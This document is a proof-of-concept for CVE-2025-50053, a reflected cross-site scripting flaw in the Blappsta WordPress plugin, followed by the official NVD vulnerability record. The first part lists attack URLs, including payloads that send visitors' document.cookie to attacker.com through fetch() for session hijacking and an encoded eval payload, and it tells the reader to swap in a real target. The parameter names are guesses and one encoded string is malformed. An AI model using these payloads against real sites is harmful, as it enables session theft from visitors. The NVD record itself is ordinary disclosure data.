CVE-2025-50053

<!-- CVE-2025-50053 Reflected XSS PoC --> <!-- Attack URL that exploits the XSS vulnerability in Blappsta plugin --> <!-- Basic Reflected XSS payload --> https://vulnerable-site.com/?param=<script>alert(document.cookie)</script> <!-- More sophisticated payload for session hijacking --> https://vulnerable-site.com/?redirect_url=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Alternative payload using event handlers --> https://vulnerable-site.com/?callback=<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <!-- HTML encoding bypass payload --> https://vulnerable-site.com/?q=<script>eval(atob('YWxlcnQoJ1hTUydexp'))</script> <!-- Note: Replace 'vulnerable-site.com' with actual target URL --> <!-- The actual vulnerable parameter name needs to be identified through testing -->

{"cve": {"id": "CVE-2025-50053", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:42.793", "lastModified": "2026-04-28T19:33:22.127", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nebelhorn Blappsta Mobile App Plugin – Your native, mobile iPhone App and Android App yournewsapp allows Reflected XSS.This issue affects Blappsta Mobile App Plugin – Your native, mobile iPhone App and Android App: from n/a through <= 0.8.8.8."}, {"lang": "es", "value": "Neutralización incorrecta de la entrada durante la generación de páginas web ('cross-site scripting') vulnerabilidad en el plugin de la aplicación móvil Blappsta de nebelhorn y su aplicación nativa móvil para iPhone y Android permite XSS reflejado. Este problema afecta al plugin de la aplicación móvil Blappsta – Su aplicación nativa móvil para iPhone y Android: desde n/d hasta 0.8.8.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/yournewsapp/vulnerability/wordpress-blappsta-mobile-app-plugin-your-native-mobile-iphone-app-and-android-app-plugin-0-8-8-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}